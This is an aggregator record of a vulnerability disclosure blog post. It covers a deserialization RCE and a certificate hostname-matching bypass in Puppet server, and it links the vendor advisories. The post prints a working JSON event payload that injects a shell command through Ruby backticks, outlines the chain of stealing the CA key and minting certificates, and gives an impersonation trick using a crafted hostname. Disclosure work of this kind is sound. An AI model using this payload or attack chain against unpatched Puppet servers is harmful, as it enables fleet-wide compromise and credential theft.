{"article":{"slug":"pulling-the-right-strings-for-rce-on-a-puppet","title":"Pulling the right strings for RCE on a Puppet","subtitle":null,"summary":"Neodyme describes two critical CVSS 9+ vulnerabilities found in Puppet ahead of a red team engagement: a remote code execution on the Puppet server in default configuration (CVE-2026-115731) and a host impersonation flaw in a common non-default setup (CVE-2026-115732), plus disclosure details.","content_type":"research","language":"en","canonical_url":"https://neodyme.io/en/blog/puppet_rce","author":{"name":"Alain","url":null,"person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"Neodyme","url":null,"listing_slug":null,"listing":null},"topics":[{"name":"security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"devops","slug":"devops","url":"https://listedarticles.com/topics/devops"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":2239,"reading_minutes":10,"published_at":"2026-11-03T00:00:00.000Z","added_at":"2026-11-04T14:09:12.536Z","updated_at":"2026-11-04T14:09:12.536Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":true},"profile_url":"https://listedarticles.com/articles/pulling-the-right-strings-for-rce-on-a-puppet","markdown_url":"https://listedarticles.com/articles/pulling-the-right-strings-for-rce-on-a-puppet.md","example":false,"citation":"Alain, Neodyme. \"Pulling the right strings for RCE on a Puppet.\" 3 Nov 2026. https://neodyme.io/en/blog/puppet_rce (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://neodyme.io/en/blog/puppet_rce"},"body_markdown":"# Pulling the right strings for RCE on a Puppet\n\nAuthored by Alain (Neodyme)\n\n## TL;DR[¶](#tldr)\n\nIn preparation for a red team engagement we found two critical CVSS 9+ vulnerabilities in Puppet, dating back to 2021. They allow RCE on the puppet management server in a default configuration. Additionally, we discovered a Puppet host impersonation vulnerability in a non-default but commonly used configuration. Both vulnerabilities were responsibly disclosed to the vendors, who has since addressed them in newer versions of Puppet.\n\n## Introduction[¶](#introduction)\n\n[Puppet](https://en.wikipedia.org/wiki/Puppet_(software)) is a software configuration management software widely used in big companies to provision software and patch servers.\nIt uses a client- (“agent”) and server-based architecture, where the agent pulls the desired software and configuration state from the server.\nThe software packages are described in a declarative language, while the software stack runs mainly on Ruby.\n\nThe software was open source until mid 2025, but changed the licensing as result of the acquisition by Perforce in 2022.\nSome open-source forks like [OpenVox](https://voxpupuli.org/openvox/) still exist and are maintained by a community.\nPerforce is now providing “Puppet Enterprise” for companies.\n\nWhen preparing for a recent red team engagement, we took a look at “Puppet Enterprise”, which is included in a RedHat subscription trial.\nThe goal was to compromise the Puppet Server using only a regular Puppet Client with a valid client certificate for a single Puppet Agent.\nWhile we used AI-based analysis to discover the bugs, strict steering of the agents and explicit prompting was necessary to unveil them.\n\nUnknowing what environment and software versions were waiting for us, we targeted the latest `Puppet Enterprise 2025.11.2 primary server`, which uses `Puppet 8.20.0` as Puppet Core Engine.\nHowever, the exploits also work for the open-source version `6.24.0`, which dates back to July 2021!\nAfter the engagement, both of the vulnerabilities below were reported to Perforce and OpenVox.\nThey cooperated for the patch release dates.\n\n## Vulnerability 1: RCE on the Puppet Server (CVE-2026-115731)[¶](#vulnerability-1-rce-on-the-puppet-server-cve-2026-115731)\n\nWe applied a fairly known strategy to find bugs in the server: Take a look at data ingestion and parsers.\nPuppet agents push their state and other interactions to the puppet server API on port `8140`.\nAgents interacting with the most interesting endpoints `/puppet/v3/[...]` must use TLS with client authentication in order to satisfy some ACL checks and let the puppet server derive the agents’ identity.\nAlso, the current environment has to be specified with `?environment=production`, as the Puppet Server might manage different environments for testing purposes.\n\nOne API endpoint receives so-called `events` on the endpoint `/puppet/v3/report/{agent_name}?environment={env}`.\nMore concretely, it receives a JSON-serialized `event` object that lands in the  `Puppet::Pops::Serialization::FromDataConverter.convert` method in `transaction/event.rb`:\n\n```\ndef initialize_from_hash(data)\n\ndata = Puppet::Pops::Serialization::FromDataConverter.convert(data, {\n\n:allow_unresolved => true,\n\n:loader => Puppet::Pops::Loaders.static_loader\n\n})\n```\n\nInvestigating the deserialization path yields the logic in `pops/serialization/from_data_converter.rb`:\n\n[...]\n\n```\ndef initialize(options = EMPTY_HASH)\n\n@pcore_type_procs.default = proc do |hash, type_value|\n\n# [...]\n\nelse\n\ntype = Types::TypeParser.singleton.parse(type_value, @loader)\n\nif type.is_a?(Types::PTypeReferenceType)\n\nunless @allow_unresolved\n\nraise SerializationError, _('No implementation mapping found for Puppet Type %{type_name}') % { type_name: type_value }\n\nend\n\nhash\n\nelse\n\n# not a string\n\npcore_type_hash_to_value(type, value)\n\nend\n\nend\n```\n\nThe deserializer checks the presence of `__ptype` and feeds it into `pcore_type_hash_to_value`.\nIf the result is a `String`, the `build` function is invoked with an attacker-controlled `pcore_type` and value in `[1]`:\n\n```\ndef pcore_type_hash_to_value(pcore_type, value)\n\ncase value\n\nwhen Hash\n\n# Complex object\n\nif value.empty?\n\nbuild(pcore_type.create)\n\nelsif pcore_type.implementation_class.respond_to?(:_pcore_init_from_hash)\n\nbuild_object(ObjectHashBuilder.new(pcore_type.allocate)) { value.each_pair { |key, elem| with(key) { convert(elem) } } }\n\nelse\n\nbuild_object(ObjectArrayBuilder.new(pcore_type.allocate)) { value.each_pair { |key, elem| with(key) { convert(elem) } } }\n\nend\n\nwhen String\n\nbuild(pcore_type.create(value)) # [1]\n\nelse\n\nraise SerializationError, _('Cannot create a %{type_name} from a %{arg_class}') %\n\n{ :type_name => pcore_type.name, :arg_class => value.class.name }\n\nend\n```\n\nFollowing the `build` call in the Ruby sources, we can find `pops/types/p_object_type.rb`:\n\n```\ndef create(*args)\n\nimplementation_class.create(*args)\n\nend\n```\n\nThe actual implementation looks up the class registry in `[2]`.\nIf the type has not been registered yet, a `RubyGenerator` is used to create an instance of the provided type in `[3]`.\n\n```\ndef implementation_class(create = true)\n\nif @implementation_class.nil? && create\n\nir = Loaders.implementation_registry\n\nclass_name = ir.nil? ? nil : ir.module_name_for_type(self) # [2]\n\nif class_name.nil?\n\n# Use generator to create a default implementation\n\n@implementation_class = RubyGenerator.new.create_class(self) # [3]\n\n@implementation_class.class_eval(&@implementation_override) if instance_variable_defined?(:@implementation_override)\n```\n\nFrom here, we are only one step away from direct code execution in Ruby: The `RubyGenerator` at `types/ruby_generator.rb` creates a `class_body` from the provided user input and eventually calls the RCE sink: `cls.class_eval`.\n\n```\ndef create_class(obj)\n\n@dynamic_classes ||= Hash.new do |hash, key|\n\ncls = key.implementation_class(false)\n\nif cls.nil?\n\n# ...\n\nclass_def = ''.dup\n\nclass_body(key, EMPTY_ARRAY, class_def)\n\ncls = Class.new(parent_class)\n\ncls.class_eval(class_def)                 # Winner Winner Chicken Dinner\n```\n\nHowever, that is just the case if `class_body` uses attacker-controlled input.\nLet’s see and follow up in `types/ruby_generator.rb` and the `class_body` method:\n\n[...]\n\n```\ndef class_body(obj, segments, bld)\n\n# Output function placeholders\n\nobj.functions(false).each_value do |func|\n\ncode_annotation = RubyMethod.annotate(func)\n\nif code_annotation\n\nbody = code_annotation.body\n\nparams = code_annotation.parameters\n\nbld << \"\\n  def \" << rname(func.name)\n\nunless params.nil? || params.empty?\n\nbld << '(' << params << ')'\n\nend\n\nbld << \"\\n    \" << body << \"\\n\"\n\nelse\n\nbld << \"\\n  def \" << rname(func.name) << \"(*args)\\n\"\n\nbld << \"    # Placeholder for #{func.type}\\n\"\n\nbld << \"    raise Puppet::Error, \\\"no method is implemented for #{func.label}\\\"\\n\"\n\nend\n\nbld << \"  end\\n\"\n\nend\n```\n\nSince we control the `RubyMethod` object, we can freely place a `body` in the class, which will get evaluated!\n\nOne might ask: How will `class_eval` give code execution?\nThe class is invoked nowhere.\nCan only a definition already be harmful?\nFair question, and Ruby is tricky about this: A `backtick` (`) can be used to evaluate system commands, similar to the known backtick trick in modern shells like `bash`.\nHowever, we must first close the function body, insert our backticks and re-open a function body block again.\nThe resulting evaluated code looks like:\n\n```\ndef pwn\n\n1\n\nend\n\n`id`          # Execution of `id` command at eval / compile time\n\ndef d2\n\n1\n\nend\n```\n\nLet’s plug those parts together and craft a JSON event with all the required objects, ptypes and annotations:\n\n```\n\"events\": [\n\n{\n\n\"__ptype\": \"Object[{name => PEP, functions => {test => {type => Callable, annotations => {RubyMethod => {body => \\\"1\\\\n  end\\\\n  `/bin/sh -c touch /tmp/pwned`\\\\n  def d2\\\\n    1\\\"}}}}}]\",\n\n\"__pvalue\": \"x\"\n\n}\n\n]\n```\n\nVoilà, we got remote command execution as the `puppet` user on the central Puppet server!\nStrictly speaking, this vulnerability is rated as “authenticated”, since it needs a valid Puppet agent client certificate.\nHowever, most large companies have `autosign` enabled, which provisioning engines like Satellite or Ansible may use to enroll the new host to the Puppet Server.\nAn attacker can thus often use the enrollment endpoint to get a Puppet client certificate without authentication or manual approval.\n\nWe have not yet discussed the impact of this RCE, triggered solely from Puppet agent client certificate.\nThe impact highly depends on the Puppet server configuration and the orchestration protocols used, if any are enabled at all.\n\n1. In environments **not following best practices**, the `puppet` user might be able to tamper with the catalog, enabling RCE on other Puppet managed hosts upon the next check in. In hardened environments, the Puppet catalog is owned by a different user and thus can’t be overwritten.\n2. An attacker might facilitate the `PXP (Puppet Execution Protocol)` feature (Puppet Enterprise only) to get root command execution on Puppet managed hosts. In the case of OpenVox, the `Choria` orchestration protocol might be used to trigger pre-defined and strictly limited tasks, given that the `Choria` protocol is configured at all.\n\nIndependent of the configuration, an attacker with RCE on a Puppet server can grab the CA signing keys and impersonate other hosts.\n\nIn our lab, we wrote a proof-of-concept for the PXP route supported on Puppet Enterprise: For this, we exfiltrated the private signing keys of the CA and minted a certificate of the Puppet server, specifying `serverAuth` and `clientAuth` in the EKU (Extended Key Usage).\nThis allowed us to communicate with a websocket broker on port `8142`, stage a task and push it to an agent, receiving the `stdout` in return.\n\nThe steps shown in the video below are:\n\n1. Decode the `base64` payload that we will trigger via the RCE. This will copy the CA private key to a Puppet bucket we can then fetch\n2. Trigger the RCE to copy the CA key into the bucket\n3. Fetch the bucket and write CA key to `ca_key.pem`\n4. Mint a `evil.<puppet-server>` certificate offline with the CA keys\n5. Trigger the PXP RCE on the `<puppet-server>` and show code execution as `root`\n\n## Vulnerability 2: Puppet Host Impersonation (CVE-2026-115732)[¶](#vulnerability-2-puppet-host-impersonation-cve-2026-115732)\n\nIn the RCE bug we briefly touched on the `autosign` feature of puppet: This allows agents to self-enroll if the hostname matches a configured domain format like `*.lab.local`.\nIn enterprise deployments this is often used in initial VM provisioning scripts via Ansible or Satellite.\nThe `autosign` and the CA explicitly checks if the host certificate was already issued for the requested host.\nThis prevents attackers from simply requesting another certificate for the same host, which would allow impersonation.\n\nThe bug we found allowed exactly this: Arbitrary impersonation of hosts.\nBut let’s look at the impact side first, assuming impersonation was possible.\nWith the client certificate of another Puppet agent, an attacker can\n\n1. Grab the Puppet catalog of this specific host\n2. Push “facts” to the Puppet server, spoofing software version numbers and logs\n3. Potentially add so-called *exported resources* to the database, which might impact other hosts in cross-node coordination scenarios. This leads to compromise when exported resources are then realized on a different host\n4. Interact with the Puppet API in general\n\nAt first glance, it either depends on the cross-node coordination feature or it just doesn’t look overly dangerous.\nHowever, a Puppet catalog often carries more than just software packages.\nIn our engagement, we observed (and later attacked) a specific host that got served a **configuration file** including PostgreSQL credentials, admin API tokens and logins for this specific software.\n\nThe Puppet catalog for one specific host can be obtained by sending a `GET` request to the `catalog` endpoint, authenticating via the Puppet agent client certificate:\n\n```\nGET /puppet/v3/catalog/<hostname>?environment=<puppet_env> [...]\n```\n\nSo, let’s look at the actual bug, which is part of the `trapperkeeper` package written in Clojure.\nClojure is a functional programming language, running on a JVM (Java) stack.\nThe following check is used to allow or deny a host via a provided `hostname` and an allowed value to compare.\n\n```\n(schema/defn ^:private match-domain? :- schema/Bool\n\n\"Checks that name matches the given ace\"\n\n[{:keys [value match]} :- ACE\n\nto-match :- schema/Str]\n\n(let [match-split-domain (split-domain to-match)]\n\n(if (= :regex match)\n\n(boolean (re-find (re-pattern value) to-match))\n\n(every? (fn [[a b]] (= a b)) (map vector value match-split-domain)))))\n```\n\nThe `match-split-domain` simply takes an FQDN, splits it at the dots and reverses the list before returning it:\n\n```\n;; splits \"target.lab.local\" -> (\"local\" \"lab\" \"target\")\n\n(schema/defn ^:private split-domain :- [schema/Str]\n\n\"Given a domain string, split it on '.' and reverse it. For examples,\n\n'sylvia.plath.net' becomes ('net' 'plath' 'sylvia'). This is used for domain\n\nmatching.\"\n\n[domain :- schema/Str]\n\n(-> domain\n\n(string/lower-case)\n\n(string/split #\"\\.\")\n\nreverse))\n```\n\nThe issue is subtle: The `match-domain` method, which compares the two hostnames, truncates the comparison to the **shorter** of both lists. As example:\n\n```\nallow:       [\"local\", \"lab, \"target\"]\n\ncertname:    [\"local\", \"lab\", \"target\", \"evil\"]\n```\n\nAn attacker who got a cert for `evil.target.lab.local` can thus authenticate as `target.lab.local`!\n\nAs already established above, the `autosign` feature often allows enrollment of certs with the pattern `*.lab.local`.\nWhile enrollment of another `target.lab.local` certificate is not possible, an attacker can just use the non-existent host `evil.target.lab.local`, which will work for authentication as well.\n\n## Disclosure[¶](#disclosure)\n\nFollowing initial contact with OpenVox and Perforce, both projects were provided with the full technical details of the vulnerabilities.\n\nOpenVox quickly acknowledged the findings and issued fixes alongside a GHSA.\nRelease coordination was handled between both projects, with OpenVox pushing for an earlier disclosure date.\n\nThe fixes were eventually released on November 3, 2026, at 17:00 UTC, accompanied by public security advisories from OpenVox and Perforce:\n\n- [GHSA-ffr6-rwpm-p5wq - Authenticated RCE on Puppet server via Event Deserialization](https://github.com/OpenVoxProject/openvox/security/advisories/GHSA-ffr6-rwpm-p5wq)\n- [GHSA-q4hm-33rc-572g - Flawed Hostname Check allows Puppet Client Impersonation](https://github.com/OpenVoxProject/trapperkeeper-authorization/security/advisories/GHSA-q4hm-33rc-572g)\n- [Perforce Support: Report Deserialization Code Execution](https://portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution)\n- [Perforce Support: Certificate Name Authorization Bypass](https://portal.perforce.com/s/cve/a91Qi000003IaJRIA0/certificate-name-authorization-bypass)\n\nWe appreciate the fast response and the transparency throughout the disclosure process!\n\n## Closing Words[¶](#closing-words)\n\nPuppet is a powerful software, often with full access to a fleet of systems in a corporate network.\nRemote Code Execution on such a central and important system can lead to worst-case scenarios: Deployment of ransomware, mass data exfiltration and potentially lateral movement to other parts of the network.\nBut even with the two critical bugs highlighted in this post, an environment hardened according to the best practices will mitigate direct impact significantly.\n\nWhile both of the bugs above were found with AI assistance, the prompting effort and precise steering of the AI was crucial to the success.\nWith AI rapidly accelerating security research, unguided AI prompting keeps bringing up the same and already covered attack surface, unless steered by experienced researchers with broad knowledge.\n\nIf you are also in need of such deep technical analysis of your applications, contact us!\n\n## References[¶](#references)\n\n- [NIST NVD Page for CVE-2026-115731](https://nvd.nist.gov/vuln/detail/CVE-2026-115731)\n- [NIST NVD Page for CVE-2026-115732](https://nvd.nist.gov/vuln/detail/CVE-2026-115732)\n","body_html":"<h1 id=\"pulling-the-right-strings-for-rce-on-a-puppet\">Pulling the right strings for RCE on a Puppet</h1>\n<p>Authored by Alain (Neodyme)</p>\n<h2 id=\"tl-dr\">TL;DR<a href=\"#tldr\">¶</a></h2>\n<p>In preparation for a red team engagement we found two critical CVSS 9+ vulnerabilities in Puppet, dating back to 2021. They allow RCE on the puppet management server in a default configuration. Additionally, we discovered a Puppet host impersonation vulnerability in a non-default but commonly used configuration. Both vulnerabilities were responsibly disclosed to the vendors, who has since addressed them in newer versions of Puppet.</p>\n<h2 id=\"introduction\">Introduction<a href=\"#introduction\">¶</a></h2>\n<p><a href=\"https://en.wikipedia.org/wiki/Puppet_(software)\" rel=\"nofollow ugc noopener\">Puppet</a> is a software configuration management software widely used in big companies to provision software and patch servers.\nIt uses a client- (“agent”) and server-based architecture, where the agent pulls the desired software and configuration state from the server.\nThe software packages are described in a declarative language, while the software stack runs mainly on Ruby.</p>\n<p>The software was open source until mid 2025, but changed the licensing as result of the acquisition by Perforce in 2022.\nSome open-source forks like <a href=\"https://voxpupuli.org/openvox/\" rel=\"nofollow ugc noopener\">OpenVox</a> still exist and are maintained by a community.\nPerforce is now providing “Puppet Enterprise” for companies.</p>\n<p>When preparing for a recent red team engagement, we took a look at “Puppet Enterprise”, which is included in a RedHat subscription trial.\nThe goal was to compromise the Puppet Server using only a regular Puppet Client with a valid client certificate for a single Puppet Agent.\nWhile we used AI-based analysis to discover the bugs, strict steering of the agents and explicit prompting was necessary to unveil them.</p>\n<p>Unknowing what environment and software versions were waiting for us, we targeted the latest <code>Puppet Enterprise 2025.11.2 primary server</code>, which uses <code>Puppet 8.20.0</code> as Puppet Core Engine.\nHowever, the exploits also work for the open-source version <code>6.24.0</code>, which dates back to July 2021!\nAfter the engagement, both of the vulnerabilities below were reported to Perforce and OpenVox.\nThey cooperated for the patch release dates.</p>\n<h2 id=\"vulnerability-1-rce-on-the-puppet-server-cve-2026-115731\">Vulnerability 1: RCE on the Puppet Server (CVE-2026-115731)<a href=\"#vulnerability-1-rce-on-the-puppet-server-cve-2026-115731\">¶</a></h2>\n<p>We applied a fairly known strategy to find bugs in the server: Take a look at data ingestion and parsers.\nPuppet agents push their state and other interactions to the puppet server API on port <code>8140</code>.\nAgents interacting with the most interesting endpoints <code>/puppet/v3/[...]</code> must use TLS with client authentication in order to satisfy some ACL checks and let the puppet server derive the agents’ identity.\nAlso, the current environment has to be specified with <code>?environment=production</code>, as the Puppet Server might manage different environments for testing purposes.</p>\n<p>One API endpoint receives so-called <code>events</code> on the endpoint <code>/puppet/v3/report/{agent_name}?environment={env}</code>.\nMore concretely, it receives a JSON-serialized <code>event</code> object that lands in the  <code>Puppet::Pops::Serialization::FromDataConverter.convert</code> method in <code>transaction/event.rb</code>:</p>\n<pre><code>def initialize_from_hash(data)\n\ndata = Puppet::Pops::Serialization::FromDataConverter.convert(data, {\n\n:allow_unresolved =&gt; true,\n\n:loader =&gt; Puppet::Pops::Loaders.static_loader\n\n})</code></pre>\n<p>Investigating the deserialization path yields the logic in <code>pops/serialization/from_data_converter.rb</code>:</p>\n<p>[...]</p>\n<pre><code>def initialize(options = EMPTY_HASH)\n\n@pcore_type_procs.default = proc do |hash, type_value|\n\n# [...]\n\nelse\n\ntype = Types::TypeParser.singleton.parse(type_value, @loader)\n\nif type.is_a?(Types::PTypeReferenceType)\n\nunless @allow_unresolved\n\nraise SerializationError, _(&#39;No implementation mapping found for Puppet Type %{type_name}&#39;) % { type_name: type_value }\n\nend\n\nhash\n\nelse\n\n# not a string\n\npcore_type_hash_to_value(type, value)\n\nend\n\nend</code></pre>\n<p>The deserializer checks the presence of <code>__ptype</code> and feeds it into <code>pcore_type_hash_to_value</code>.\nIf the result is a <code>String</code>, the <code>build</code> function is invoked with an attacker-controlled <code>pcore_type</code> and value in <code>[1]</code>:</p>\n<pre><code>def pcore_type_hash_to_value(pcore_type, value)\n\ncase value\n\nwhen Hash\n\n# Complex object\n\nif value.empty?\n\nbuild(pcore_type.create)\n\nelsif pcore_type.implementation_class.respond_to?(:_pcore_init_from_hash)\n\nbuild_object(ObjectHashBuilder.new(pcore_type.allocate)) { value.each_pair { |key, elem| with(key) { convert(elem) } } }\n\nelse\n\nbuild_object(ObjectArrayBuilder.new(pcore_type.allocate)) { value.each_pair { |key, elem| with(key) { convert(elem) } } }\n\nend\n\nwhen String\n\nbuild(pcore_type.create(value)) # [1]\n\nelse\n\nraise SerializationError, _(&#39;Cannot create a %{type_name} from a %{arg_class}&#39;) %\n\n{ :type_name =&gt; pcore_type.name, :arg_class =&gt; value.class.name }\n\nend</code></pre>\n<p>Following the <code>build</code> call in the Ruby sources, we can find <code>pops/types/p_object_type.rb</code>:</p>\n<pre><code>def create(*args)\n\nimplementation_class.create(*args)\n\nend</code></pre>\n<p>The actual implementation looks up the class registry in <code>[2]</code>.\nIf the type has not been registered yet, a <code>RubyGenerator</code> is used to create an instance of the provided type in <code>[3]</code>.</p>\n<pre><code>def implementation_class(create = true)\n\nif @implementation_class.nil? &amp;&amp; create\n\nir = Loaders.implementation_registry\n\nclass_name = ir.nil? ? nil : ir.module_name_for_type(self) # [2]\n\nif class_name.nil?\n\n# Use generator to create a default implementation\n\n@implementation_class = RubyGenerator.new.create_class(self) # [3]\n\n@implementation_class.class_eval(&amp;@implementation_override) if instance_variable_defined?(:@implementation_override)</code></pre>\n<p>From here, we are only one step away from direct code execution in Ruby: The <code>RubyGenerator</code> at <code>types/ruby_generator.rb</code> creates a <code>class_body</code> from the provided user input and eventually calls the RCE sink: <code>cls.class_eval</code>.</p>\n<pre><code>def create_class(obj)\n\n@dynamic_classes ||= Hash.new do |hash, key|\n\ncls = key.implementation_class(false)\n\nif cls.nil?\n\n# ...\n\nclass_def = &#39;&#39;.dup\n\nclass_body(key, EMPTY_ARRAY, class_def)\n\ncls = Class.new(parent_class)\n\ncls.class_eval(class_def)                 # Winner Winner Chicken Dinner</code></pre>\n<p>However, that is just the case if <code>class_body</code> uses attacker-controlled input.\nLet’s see and follow up in <code>types/ruby_generator.rb</code> and the <code>class_body</code> method:</p>\n<p>[...]</p>\n<pre><code>def class_body(obj, segments, bld)\n\n# Output function placeholders\n\nobj.functions(false).each_value do |func|\n\ncode_annotation = RubyMethod.annotate(func)\n\nif code_annotation\n\nbody = code_annotation.body\n\nparams = code_annotation.parameters\n\nbld &lt;&lt; &quot;\\n  def &quot; &lt;&lt; rname(func.name)\n\nunless params.nil? || params.empty?\n\nbld &lt;&lt; &#39;(&#39; &lt;&lt; params &lt;&lt; &#39;)&#39;\n\nend\n\nbld &lt;&lt; &quot;\\n    &quot; &lt;&lt; body &lt;&lt; &quot;\\n&quot;\n\nelse\n\nbld &lt;&lt; &quot;\\n  def &quot; &lt;&lt; rname(func.name) &lt;&lt; &quot;(*args)\\n&quot;\n\nbld &lt;&lt; &quot;    # Placeholder for #{func.type}\\n&quot;\n\nbld &lt;&lt; &quot;    raise Puppet::Error, \\&quot;no method is implemented for #{func.label}\\&quot;\\n&quot;\n\nend\n\nbld &lt;&lt; &quot;  end\\n&quot;\n\nend</code></pre>\n<p>Since we control the <code>RubyMethod</code> object, we can freely place a <code>body</code> in the class, which will get evaluated!</p>\n<p>One might ask: How will <code>class_eval</code> give code execution?\nThe class is invoked nowhere.\nCan only a definition already be harmful?\nFair question, and Ruby is tricky about this: A <code>backtick</code> (<code>) can be used to evaluate system commands, similar to the known backtick trick in modern shells like </code>bash`.\nHowever, we must first close the function body, insert our backticks and re-open a function body block again.\nThe resulting evaluated code looks like:</p>\n<pre><code>def pwn\n\n1\n\nend\n\n`id`          # Execution of `id` command at eval / compile time\n\ndef d2\n\n1\n\nend</code></pre>\n<p>Let’s plug those parts together and craft a JSON event with all the required objects, ptypes and annotations:</p>\n<pre><code>&quot;events&quot;: [\n\n{\n\n&quot;__ptype&quot;: &quot;Object[{name =&gt; PEP, functions =&gt; {test =&gt; {type =&gt; Callable, annotations =&gt; {RubyMethod =&gt; {body =&gt; \\&quot;1\\\\n  end\\\\n  `/bin/sh -c touch /tmp/pwned`\\\\n  def d2\\\\n    1\\&quot;}}}}}]&quot;,\n\n&quot;__pvalue&quot;: &quot;x&quot;\n\n}\n\n]</code></pre>\n<p>Voilà, we got remote command execution as the <code>puppet</code> user on the central Puppet server!\nStrictly speaking, this vulnerability is rated as “authenticated”, since it needs a valid Puppet agent client certificate.\nHowever, most large companies have <code>autosign</code> enabled, which provisioning engines like Satellite or Ansible may use to enroll the new host to the Puppet Server.\nAn attacker can thus often use the enrollment endpoint to get a Puppet client certificate without authentication or manual approval.</p>\n<p>We have not yet discussed the impact of this RCE, triggered solely from Puppet agent client certificate.\nThe impact highly depends on the Puppet server configuration and the orchestration protocols used, if any are enabled at all.</p>\n<ol><li>In environments <strong>not following best practices</strong>, the <code>puppet</code> user might be able to tamper with the catalog, enabling RCE on other Puppet managed hosts upon the next check in. In hardened environments, the Puppet catalog is owned by a different user and thus can’t be overwritten.</li><li>An attacker might facilitate the <code>PXP (Puppet Execution Protocol)</code> feature (Puppet Enterprise only) to get root command execution on Puppet managed hosts. In the case of OpenVox, the <code>Choria</code> orchestration protocol might be used to trigger pre-defined and strictly limited tasks, given that the <code>Choria</code> protocol is configured at all.</li></ol>\n<p>Independent of the configuration, an attacker with RCE on a Puppet server can grab the CA signing keys and impersonate other hosts.</p>\n<p>In our lab, we wrote a proof-of-concept for the PXP route supported on Puppet Enterprise: For this, we exfiltrated the private signing keys of the CA and minted a certificate of the Puppet server, specifying <code>serverAuth</code> and <code>clientAuth</code> in the EKU (Extended Key Usage).\nThis allowed us to communicate with a websocket broker on port <code>8142</code>, stage a task and push it to an agent, receiving the <code>stdout</code> in return.</p>\n<p>The steps shown in the video below are:</p>\n<ol><li>Decode the <code>base64</code> payload that we will trigger via the RCE. This will copy the CA private key to a Puppet bucket we can then fetch</li><li>Trigger the RCE to copy the CA key into the bucket</li><li>Fetch the bucket and write CA key to <code>ca_key.pem</code></li><li>Mint a <code>evil.&lt;puppet-server&gt;</code> certificate offline with the CA keys</li><li>Trigger the PXP RCE on the <code>&lt;puppet-server&gt;</code> and show code execution as <code>root</code></li></ol>\n<h2 id=\"vulnerability-2-puppet-host-impersonation-cve-2026-115732\">Vulnerability 2: Puppet Host Impersonation (CVE-2026-115732)<a href=\"#vulnerability-2-puppet-host-impersonation-cve-2026-115732\">¶</a></h2>\n<p>In the RCE bug we briefly touched on the <code>autosign</code> feature of puppet: This allows agents to self-enroll if the hostname matches a configured domain format like <code>*.lab.local</code>.\nIn enterprise deployments this is often used in initial VM provisioning scripts via Ansible or Satellite.\nThe <code>autosign</code> and the CA explicitly checks if the host certificate was already issued for the requested host.\nThis prevents attackers from simply requesting another certificate for the same host, which would allow impersonation.</p>\n<p>The bug we found allowed exactly this: Arbitrary impersonation of hosts.\nBut let’s look at the impact side first, assuming impersonation was possible.\nWith the client certificate of another Puppet agent, an attacker can</p>\n<ol><li>Grab the Puppet catalog of this specific host</li><li>Push “facts” to the Puppet server, spoofing software version numbers and logs</li><li>Potentially add so-called <em>exported resources</em> to the database, which might impact other hosts in cross-node coordination scenarios. This leads to compromise when exported resources are then realized on a different host</li><li>Interact with the Puppet API in general</li></ol>\n<p>At first glance, it either depends on the cross-node coordination feature or it just doesn’t look overly dangerous.\nHowever, a Puppet catalog often carries more than just software packages.\nIn our engagement, we observed (and later attacked) a specific host that got served a <strong>configuration file</strong> including PostgreSQL credentials, admin API tokens and logins for this specific software.</p>\n<p>The Puppet catalog for one specific host can be obtained by sending a <code>GET</code> request to the <code>catalog</code> endpoint, authenticating via the Puppet agent client certificate:</p>\n<pre><code>GET /puppet/v3/catalog/&lt;hostname&gt;?environment=&lt;puppet_env&gt; [...]</code></pre>\n<p>So, let’s look at the actual bug, which is part of the <code>trapperkeeper</code> package written in Clojure.\nClojure is a functional programming language, running on a JVM (Java) stack.\nThe following check is used to allow or deny a host via a provided <code>hostname</code> and an allowed value to compare.</p>\n<pre><code>(schema/defn ^:private match-domain? :- schema/Bool\n\n&quot;Checks that name matches the given ace&quot;\n\n[{:keys [value match]} :- ACE\n\nto-match :- schema/Str]\n\n(let [match-split-domain (split-domain to-match)]\n\n(if (= :regex match)\n\n(boolean (re-find (re-pattern value) to-match))\n\n(every? (fn [[a b]] (= a b)) (map vector value match-split-domain)))))</code></pre>\n<p>The <code>match-split-domain</code> simply takes an FQDN, splits it at the dots and reverses the list before returning it:</p>\n<pre><code>;; splits &quot;target.lab.local&quot; -&gt; (&quot;local&quot; &quot;lab&quot; &quot;target&quot;)\n\n(schema/defn ^:private split-domain :- [schema/Str]\n\n&quot;Given a domain string, split it on &#39;.&#39; and reverse it. For examples,\n\n&#39;sylvia.plath.net&#39; becomes (&#39;net&#39; &#39;plath&#39; &#39;sylvia&#39;). This is used for domain\n\nmatching.&quot;\n\n[domain :- schema/Str]\n\n(-&gt; domain\n\n(string/lower-case)\n\n(string/split #&quot;\\.&quot;)\n\nreverse))</code></pre>\n<p>The issue is subtle: The <code>match-domain</code> method, which compares the two hostnames, truncates the comparison to the <strong>shorter</strong> of both lists. As example:</p>\n<pre><code>allow:       [&quot;local&quot;, &quot;lab, &quot;target&quot;]\n\ncertname:    [&quot;local&quot;, &quot;lab&quot;, &quot;target&quot;, &quot;evil&quot;]</code></pre>\n<p>An attacker who got a cert for <code>evil.target.lab.local</code> can thus authenticate as <code>target.lab.local</code>!</p>\n<p>As already established above, the <code>autosign</code> feature often allows enrollment of certs with the pattern <code>*.lab.local</code>.\nWhile enrollment of another <code>target.lab.local</code> certificate is not possible, an attacker can just use the non-existent host <code>evil.target.lab.local</code>, which will work for authentication as well.</p>\n<h2 id=\"disclosure\">Disclosure<a href=\"#disclosure\">¶</a></h2>\n<p>Following initial contact with OpenVox and Perforce, both projects were provided with the full technical details of the vulnerabilities.</p>\n<p>OpenVox quickly acknowledged the findings and issued fixes alongside a GHSA.\nRelease coordination was handled between both projects, with OpenVox pushing for an earlier disclosure date.</p>\n<p>The fixes were eventually released on November 3, 2026, at 17:00 UTC, accompanied by public security advisories from OpenVox and Perforce:</p>\n<ul><li><a href=\"https://github.com/OpenVoxProject/openvox/security/advisories/GHSA-ffr6-rwpm-p5wq\" rel=\"nofollow ugc noopener\">GHSA-ffr6-rwpm-p5wq - Authenticated RCE on Puppet server via Event Deserialization</a></li><li><a href=\"https://github.com/OpenVoxProject/trapperkeeper-authorization/security/advisories/GHSA-q4hm-33rc-572g\" rel=\"nofollow ugc noopener\">GHSA-q4hm-33rc-572g - Flawed Hostname Check allows Puppet Client Impersonation</a></li><li><a href=\"https://portal.perforce.com/s/cve/a91Qi000003IaHpIAK/report-deserialization-code-execution\" 